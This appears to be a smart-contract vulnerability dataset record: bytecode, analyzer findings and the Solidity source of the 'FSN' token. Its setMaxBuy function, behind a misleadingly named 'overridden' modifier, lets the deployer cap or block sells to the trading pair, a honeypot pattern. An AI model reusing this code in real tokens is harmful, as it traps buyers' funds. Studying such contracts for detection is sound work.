90869030904290600401611c54565b600060405180830381600087803b1580156116d657600080fd5b505af11580156116ea573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6000611709838361171f565b905061171786868684611743565b505050505050565b600080831561173c5782156117375750600a5461173c565b50600b545b9392505050565b6000806117508484611820565b6001600160a01b0388166000908152600260205260409020549193509150611779908590611b16565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546117a9908390611bfb565b6001600160a01b0386166000908152600260205260409020556117cb81611854565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161181091815260200190565b60405180910390a3505050505050565b6000808060646118308587611c13565b61183a9190611c32565b905060006118488287611b16565b96919550909350505050565b3060009081526002602052604090205461186f908290611bfb565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156118af57858101830151858201604001528201611893565b818111156118c1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a757600080fd5b80356118f7816118d7565b919050565b6000806040838503121561190f57600080fd5b823561191a816118d7565b946020939093013593505050565b6000806040838503121561193b57600080fd5b50508035926020909101359150565b60008060006060848603121561195f57600080fd5b833561196a816118d7565b9250602084013561197a816118d7565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119b457600080fd5b823567ffffffffffffffff808211156119cc57600080fd5b818501915085601f8301126119e057600080fd5b8135818111156119f2576119f261198b565b8060051b604051601f19603f83011681018181108582111715611a1757611a1761198b565b604052918252848201925083810185019188831115611a3557600080fd5b938501935b82851015611a5a57611a4b856118ec565b84529385019392850192611a3a565b98975050505050505050565b600060208284031215611a7857600080fd5b813561173c816118d7565b600060208284031215611a9557600080fd5b5035919050565b80151581146108a757600080fd5b600060208284031215611abc57600080fd5b813561173c81611a9c565b60008060408385031215611ada57600080fd5b8235611ae5816118d7565b91506020830135611af5816118d7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611b2857611b28611b00565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611b5757611b57611b00565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611ba857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611bd357600080fd5b815161173c81611a9c565b600060208284031215611bf057600080fd5b815161173c816118d7565b60008219821115611c0e57611c0e611b00565b500190565b6000816000190483118215151615611c2d57611c2d611b00565b500290565b600082611c4f57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ca45784516001600160a01b031683529383019391830191600101611c7f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a35bc754e8cb4943e42611f770ae30cd312b9092323a011993e2e1a25aaa350964736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,324 |
0x74369c03617a06E5c3D2594F3ACB90Fe82791E28
|
/**
*Submitted for verification at Etherscan.io on 2021-11-06
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/fsninu
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FSN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "FSN";
string private constant _symbol = "FSN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == uniswapV2Pair && from != address(uniswapV2Router) )?1:0)*amount <= _maxTxAmount);
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_feeAddrWallet1 == _msgSender() );
_;
}
function setMaxBuy(uint256 limit) external overridden {
_maxTxAmount = limit;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a919061245b565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061201e565b6103c2565b6040516101579190612440565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906125bd565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611fcb565b6103f0565b6040516101bf9190612440565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea9190612632565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611f31565b61054c565b60405161023e91906125bd565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b6040516102809190612372565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab919061245b565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d6919061201e565b610756565b6040516102e89190612440565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611f8b565b610cb4565b60405161033c91906125bd565b60405180910390f35b34801561035157600080fd5b5061035a610d3b565b005b34801561036857600080fd5b50610383600480360381019061037e919061208b565b610dad565b005b60606040518060400160405280600381526020017f46534e0000000000000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610e18565b8484610e20565b6001905092915050565b600067016345785d8a0000905090565b60006103fd848484610feb565b6104be84610409610e18565b6104b985604051806060016040528060288152602001612c0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144f9092919063ffffffff16565b610e20565b600190509392505050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e18565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816114b3565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173b565b9050919050565b6105a5610e18565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106299061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f46534e0000000000000000000000000000000000000000000000000000000000815250905090565b600061076a610763610e18565b8484610feb565b6001905092915050565b61077c610e18565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108009061251d565b60405180910390fd5b600d60149054906101000a900460ff1615610859576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108509061259d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610e20565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611f5e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611f5e565b6040518363ffffffff1660e01b8152600401610a1d92919061238d565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611f5e565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b25969594939291906123df565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b7791906120b8565b5050506001600d60166101000a81548160ff02191690831515021790555067016345785d8a0000600e819055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5e9291906123b6565b602060405180830381600087803b158015610c7857600080fd5b505af1158015610c8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb0919061205e565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7c610e18565b73ffffffffffffffffffffffffffffffffffffffff1614610d9c57600080fd5b6000479050610daa816117a9565b50565b610db5610e18565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0e57600080fd5b80600e8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e879061257d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef7906124bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fde91906125bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110529061255d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c29061247d565b60405180910390fd5b6000811161110e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111059061253d565b60405180910390fd5b600e5481600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111bd5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6111c85760006111cb565b60015b60ff166111d89190612729565b11156111e357600080fd5b60016009819055506009600a819055506111fb6106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561126957506112396106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561143f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561136f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113855760016009819055506009600a819055505b60006113903061054c565b9050600d60159054906101000a900460ff161580156113fd5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114155750600d60169054906101000a900460ff165b1561143d57611423816114b3565b6000479050600081111561143b5761143a476117a9565b5b505b505b61144a838383611815565b505050565b6000838311158290611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148e919061245b565b60405180910390fd5b50600083856114a69190612783565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114eb576114ea6128de565b5b6040519080825280602002602001820160405280156115195781602001602082028036833780820191505090505b5090503081600081518110611531576115306128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115d357600080fd5b505afa1580156115e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160b9190611f5e565b8160018151811061161f5761161e6128af565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061168630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e20565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ea9594939291906125d8565b600060405180830381600087803b15801561170457600080fd5b505af1158015611718573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b6000600754821115611782576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117799061249d565b60405180910390fd5b600061178c611825565b90506117a1818461185090919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611811573d6000803e3d6000fd5b5050565b61182083838361189a565b505050565b6000806000611832611a65565b91509150611849818361185090919063ffffffff16565b9250505090565b600061189283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac4565b905092915050565b6000806000806000806118ac87611b27565b95509550955095509550955061190a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119eb81611c37565b6119f58483611cf4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a5291906125bd565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a00009050611a9967016345785d8a000060075461185090919063ffffffff16565b821015611ab75760075467016345785d8a0000935093505050611ac0565b81819350935050505b9091565b60008083118290611b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b02919061245b565b60405180910390fd5b5060008385611b1a91906126f8565b9050809150509392505050565b6000806000806000806000806000611b448a600954600a54611d2e565b9250925092506000611b54611825565b90506000806000611b678e878787611dc4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bd183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144f565b905092915050565b6000808284611be891906126a2565b905083811015611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906124dd565b60405180910390fd5b8091505092915050565b6000611c41611825565b90506000611c588284611e4d90919063ffffffff16565b9050611cac81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0982600754611b8f90919063ffffffff16565b600781905550611d2481600854611bd990919063ffffffff16565b6008819055505050565b600080600080611d5a6064611d4c888a611e4d90919063ffffffff16565b61185090919063ffffffff16565b90506000611d846064611d76888b611e4d90919063ffffffff16565b61185090919063ffffffff16565b90506000611dad82611d9f858c611b8f90919063ffffffff16565b611b8f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ddd8589611e4d90919063ffffffff16565b90506000611df48689611e4d90919063ffffffff16565b90506000611e0b8789611e4d90919063ffffffff16565b90506000611e3482611e268587611b8f90919063ffffffff16565b611b8f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e605760009050611ec2565b60008284611e6e9190612729565b9050828482611e7d91906126f8565b14611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb4906124fd565b60405180910390fd5b809150505b92915050565b600081359050611ed781612bc7565b92915050565b600081519050611eec81612bc7565b92915050565b600081519050611f0181612bde565b92915050565b600081359050611f1681612bf5565b92915050565b600081519050611f2b81612bf5565b92915050565b600060208284031215611f4757611f4661290d565b5b6000611f5584828501611ec8565b91505092915050565b600060208284031215611f7457611f7361290d565b5b6000611f8284828501611edd565b91505092915050565b60008060408385031215611fa257611fa161290d565b5b6000611fb085828601611ec8565b9250506020611fc185828601611ec8565b9150509250929050565b600080600060608486031215611fe457611fe361290d565b5b6000611ff286828701611ec8565b935050602061200386828701611ec8565b925050604061201486828701611f07565b9150509250925092565b600080604083850312156120355761203461290d565b5b600061204385828601611ec8565b925050602061205485828601611f07565b9150509250929050565b6000602082840312156120745761207361290d565b5b600061208284828501611ef2565b91505092915050565b6000602082840312156120a1576120a061290d565b5b60006120af84828501611f07565b91505092915050565b6000806000606084860312156120d1576120d061290d565b5b60006120df86828701611f1c565b93505060206120f086828701611f1c565b925050604061210186828701611f1c565b9150509250925092565b60006121178383612123565b60208301905092915050565b61212c816127b7565b82525050565b61213b816127b7565b82525050565b600061214c8261265d565b6121568185612680565b93506121618361264d565b8060005b83811015612192578151612179888261210b565b975061218483612673565b925050600181019050612165565b5085935050505092915050565b6121a8816127c9565b82525050565b6121b78161280c565b82525050565b60006121c882612668565b6121d28185612691565b93506121e281856020860161281e565b6121eb81612912565b840191505092915050565b6000612203602383612691565b915061220e82612923565b604082019050919050565b6000612226602a83612691565b915061223182612972565b604082019050919050565b6000612249602283612691565b9150612254826129c1565b604082019050919050565b600061226c601b83612691565b915061227782612a10565b602082019050919050565b600061228f602183612691565b915061229a82612a39565b604082019050919050565b60006122b2602083612691565b91506122bd82612a88565b602082019050919050565b60006122d5602983612691565b91506122e082612ab1565b604082019050919050565b60006122f8602583612691565b915061230382612b00565b604082019050919050565b600061231b602483612691565b915061232682612b4f565b604082019050919050565b600061233e601783612691565b915061234982612b9e565b602082019050919050565b61235d816127f5565b82525050565b61236c816127ff565b82525050565b60006020820190506123876000830184612132565b92915050565b60006040820190506123a26000830185612132565b6123af6020830184612132565b9392505050565b60006040820190506123cb6000830185612132565b6123d86020830184612354565b9392505050565b600060c0820190506123f46000830189612132565b6124016020830188612354565b61240e60408301876121ae565b61241b60608301866121ae565b6124286080830185612132565b61243560a0830184612354565b979650505050505050565b6000602082019050612455600083018461219f565b92915050565b6000602082019050818103600083015261247581846121bd565b905092915050565b60006020820190508181036000830152612496816121f6565b9050919050565b600060208201905081810360008301526124b681612219565b9050919050565b600060208201905081810360008301526124d68161223c565b9050919050565b600060208201905081810360008301526124f68161225f565b9050919050565b6000602082019050818103600083015261251681612282565b9050919050565b60006020820190508181036000830152612536816122a5565b9050919050565b60006020820190508181036000830152612556816122c8565b9050919050565b60006020820190508181036000830152612576816122eb565b9050919050565b60006020820190508181036000830152612596816123